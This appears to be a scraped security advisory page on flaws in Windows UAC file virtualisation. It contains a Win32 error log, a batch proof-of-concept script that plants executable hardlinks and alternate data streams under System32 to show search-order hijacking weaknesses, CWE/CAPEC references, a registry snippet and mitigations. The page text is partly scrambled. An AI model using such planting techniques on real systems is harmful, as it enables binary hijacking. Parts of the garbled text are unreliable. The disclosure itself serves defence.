GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.msi' File 'C:\Windows:Blunder.msi' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.msi' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.msi' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.msi' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.msi' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.msp' File 'C:\Windows:Blunder.msp' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.msp' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.msp' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.msp' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.msp' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.mst' File 'C:\Windows:Blunder.mst' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.mst' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.mst' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.mst' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.mst' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.mui' File 'C:\Windows:Blunder.mui' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.mui' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.mui' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.mui' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.mui' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.nls' File 'C:\Windows:Blunder.nls' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.nls' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.nls' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.nls' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.nls' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.ocx' File 'C:\Windows:Blunder.ocx' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.ocx' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.ocx' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.ocx' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.ocx' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.pif' File 'C:\Windows:Blunder.pif' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.pif' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.pif' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.pif' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.pif' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.reg' File 'C:\Windows:Blunder.reg' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.reg' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.reg' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.reg' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.reg' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.scr' File 'C:\Windows:Blunder.scr' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.scr' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.scr' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.scr' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.scr' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.sct' File 'C:\Windows:Blunder.sct' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.sct' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.sct' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.sct' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.sct' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.shb' File 'C:\Windows:Blunder.shb' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.shb' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.shb' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.shb' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.shb' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.shs' File 'C:\Windows:Blunder.shs' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.shs' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.shs' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.shs' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.shs' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.sys' File 'C:\Windows:Blunder.sys' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.sys' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.sys' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.sys' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.sys' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.tlb' File 'C:\Windows:Blunder.tlb' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.tlb' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.tlb' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.tlb' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.tlb' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.tmp' File 'C:\Windows:Blunder.tmp' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.tmp' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.tmp' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.tmp' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.tmp' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.tsp' File 'C:\Windows:Blunder.tsp' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.tsp' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.tsp' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.tsp' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.tsp' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.ttf' File 'C:\Windows:Blunder.ttf' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.ttf' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.ttf' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.ttf' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.ttf' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.url' File 'C:\Windows:Blunder.url' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.url' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.url' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.url' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.url' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.vb' File 'C:\Windows:Blunder.vb' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.vb' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.vb' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.vb' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.vb' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.vbe' File 'C:\Windows:Blunder.vbe' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.vbe' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.vbe' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.vbe' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.vbe' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.vbs' File 'C:\Windows:Blunder.vbs' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.vbs' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.vbs' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.vbs' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.vbs' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.wll' File 'C:\Windows:Blunder.wll' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.wll' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.wll' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.wll' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.wll' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.wsc' File 'C:\Windows:Blunder.wsc' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.wsc' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.wsc' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.wsc' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.wsc' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.wsf' File 'C:\Windows:Blunder.wsf' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.wsf' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.wsf' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.wsf' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.wsf' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.wsh' File 'C:\Windows:Blunder.wsh' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.wsh' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.wsh' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.wsh' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.wsh' GetFileAttributes() returned error 2 for file 'C:\Windows:Blunder.xll' File 'C:\Windows:Blunder.xll' is virtualized as 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows:Blunder.xll' CreateProcess() returned error 2 for file 'C:\Windows:Blunder.xll' LoadLibrary() returned error 126 for file 'C:\Windows:Blunder.xll' DeleteFile() returned error 2 for file 'C:\Windows:Blunder.xll' 0x2 (WIN32: 2 ERROR_FILE_NOT_FOUND) -- 2 (2) Error message text: The system cannot find the file specified. CertUtil: -error command completed successfully.OUCH⁵: although creation of virtualised Alternate Data Streams succeeds, subsequent accesses but fail with either the wrong Win32 error code 2 alias
ERROR_FILE_NOT_FOUND
            or the wrong error code 126 alias
            ERROR_MOD_NOT_FOUND
            instead of the appropriate error code 5 alias
            ERROR_ACCESS_DENIED
            – File Virtualisation is
            seriously broken for
            Alternate Data Streams!
        CreateFile2(),
            CreateFileTransacted()
            and
            DeleteFileTransacted()
            as well as
            CreateProcessAsUser(),
            CreateProcessWithLogonW(),
            CreateProcessWithTokenW(),
            CreateSymbolicLink(),
            CreateSymbolicLinkTransacted(),
            LoadLibraryEx(),
            LoadModule(),
            MoveFile(),
            MoveFileEx(),
            MoveFileTransacted(),
            MoveFileWithProgress(),
            ReOpenFile(),
            ReplaceFile(),
            ShellExecute(),
            ShellExecuteEx()
            and
            WinExec()
            is left as an exercise to the reader.
         Note: the comparison of the dangerous
            extensions exempted from File Virtualisation against
            the Unsafe File List
 documented in the
            MSKB
            article
            291369
            is also left as an exercise to the reader.
        
REM Copyright © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
IF NOT DEFINED SystemRoot EXIT /B
IF NOT DEFINED LOCALAPPDATA EXIT /B
IF "%COMSPEC%" == "%~dpn0.com" GOTO :BLUNDER
TITLE Step 0: copy the 32-bit 'command processor' and replace its 'application manifest'
MT.EXE /INPUTRESOURCE:"%COMSPEC%" /OUT:"%~dpn0.xml"
IF ERRORLEVEL 1 EXIT /B
IF EXIST "%SystemRoot%\SysWoW64\Cmd.exe" (COPY "%SystemRoot%\SysWoW64\Cmd.exe" "%~dpn0.com") ELSE COPY "%SystemRoot%\System32\Cmd.exe" "%~dpn0.com"
(
ECHO ^<?xml version='1.0' encoding='UTF-8' standalone='yes' ?^>
ECHO ^<!-- (C)opyright 2009-2025, Stefan Kanthak --^>
ECHO ^<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1' /^>
) 1>"%~dpn0.xml"
MT.EXE /MANIFEST "%~dpn0.xml" /OUTPUTRESOURCE:"%~dpn0.com"
IF ERRORLEVEL 1 EXIT /B
FOR /D %%? IN ("%SystemRoot%\System32\??-??" "%SystemRoot%\SysWoW64\??-??") DO @(
IF EXIST "%%?\cmd.exe.mui" IF NOT EXIST "%~dp0%%~n?" (
MKDIR "%~dp0%%~n?" && COPY "%%?\cmd.exe.mui" "%~dp0%%~n?\%~n0.com.mui") ELSE (
COPY "%%?\cmd.exe.mui" "%~dp0%%~n?\%~n0.com.mui"))
SETLOCAL
SET COMSPEC=
SET PATHEXT=
SET PROMPT=
"%~dpn0.com" /C CALL "%~0" 1>"%~dpn0.log" 2>&1
ERASE "%~dpn0.com" "%~dpn0.efi" "%~dpn0.htm" "%~dpn0.iso" "%~dpn0.ttf" "%~dpn0.wll" "%~dpn0.xll" "%~dpn0.xml"
EXIT /B
:BLUNDER
TITLE Step 1: list the (empty) 'virtual store'
DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
TITLE Step 2: create a subdirectory in the 'system directory'
MKDIR "%SystemRoot%\System32\%~n0"
DIR /A /R /S "%SystemRoot%\%~n0.*"
DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
TITLE Step 3: create (empty) files with 'dangerous' extensions in the 'system directory'
SET PATHEXT
FOR %%? IN (%PATHEXT%) DO COPY NUL: "%SystemRoot%\System32\%~n0%%?"
TITLE Step 4: create executable files with other extensions in the 'system directory'
SET BLUNDER=.dll .efi .htm .iso .jse .lnk .pif .scr .sys .ttf .vbe .url .wll .wsf .wsh .xll
FOR %%? IN (%BLUNDER%) DO COPY "%~dpn0.com" "%SystemRoot%\System32\%~n0%%?"
DIR /A /R /S "%SystemRoot%\%~n0.*"
DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
TITLE Step 5: move files created above from the 'system directory' into the 'application directory'
MOVE "%SystemRoot%\System32\%~n0.*" "%~dp0."
DIR /A /R /S "%SystemRoot%\%~n0.*"
DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
TITLE Step 6: create executable hardlinks with all extensions used above in the 'system directory'
COPY "%~dpn0.com" "%LOCALAPPDATA%\Temp"
FOR %%? IN (%PATHEXT% %BLUNDER%) DO MKLINK /H "%SystemRoot%\System32\%~n0%%?" "%LOCALAPPDATA%\Temp\%~dpn0.com"
ERASE "%LOCALAPPDATA%\Temp\%~dpn0.com"
DIR /A /R /S "%SystemRoot%\%~n0.*"
DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
TITLE Step 7: move hardlinks created above from the 'system directory' into the 'application directory'
MOVE "%SystemRoot%\System32\%~n0.*" "%~dp0."
DIR /A /R /S "%SystemRoot%\%~n0.*"
DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
TITLE Step 8: execute hardlinks left in the 'system directory'
FOR %%? IN ("%SystemRoot%\System32\%~n0.*") DO CALL "%%~?"
TITLE Step 9: create (empty) 'alternate data streams' on the subdirectory created above
FOR %%? IN (%PATHEXT% %BLUNDER%) DO BREAK 1>"%SystemRoot%\System32\%~n0:%~n0%%?"
DIR /A /R /S "%SystemRoot%\%~n0"
DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
TITLE Step 10: erase files, hardlinks and the subdirectory created above
ERASE "%SystemRoot%\System32\%~n0.*"
RMDIR "%SystemRoot%\System32\%~n0"
DIR /A /R /S "%SystemRoot%\%~n0.*"
DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
TITLE Step 11: remove garbage left in the 'virtual store' and exit
ERASE "%LOCALAPPDATA%\VirtualStore\System32\%~n0.*"
RMDIR "%LOCALAPPDATA%\VirtualStore\System32\%~n0"
RMDIR "%LOCALAPPDATA%\VirtualStore\System32"
ERASE "%LOCALAPPDATA%\VirtualStore\SysWoW64\%~n0.*"
RMDIR "%LOCALAPPDATA%\VirtualStore\SysWoW64\%~n0"
RMDIR "%LOCALAPPDATA%\VirtualStore\SysWoW64"
EXIT /B.wll or .xll and are
            subject to File Virtualisation, are
            vulnerable to well-known weaknesses like
            CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'),
            CWE-73: External Control of File Name or Path,
            CWE-426: Untrusted Search Path
            and
            CWE-427: Uncontrolled Search Path Element
            documented in the
            CWE™;
            they allow well-known attacks like
            CAPEC-471: Search Order Hijacking
            documented in the
            CAPEC™.
        REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
"EnableVirtualization"=dword:00000000virtual storedirectory
%LOCALAPPDATA%\VirtualStore\ and below via
            SAFER
            alias
            Software Restriction Policies,
            AppLocker
            or Windows Defender Application Control alias
            App Control for Business.
            Delivering major enhancements in Windows Defender Application Control with the Windows 10 May 2019 Update
        Caveat: beware but of their loopholes!
Use the X.509 certificate to send S/MIME encrypted mail.
Note: email in weird format and without a proper sender name is likely to be discarded!
 I dislike
            HTML (and even
            weirder formats too) in email, I prefer to receive plain text.
        
I also expect to see your full (real) name as sender, not your
            nickname.
        
I abhor top posts and expect inline quotes in replies.
        
as iswithout any warranty, neither express nor implied.
cookiesin the web browser.
The web service is operated and provided by
Telekom Deutschland GmbH The web service provider stores a session cookie
 in the web
            browser and records every visit of this web site with the following
            data in an access log on their server(s):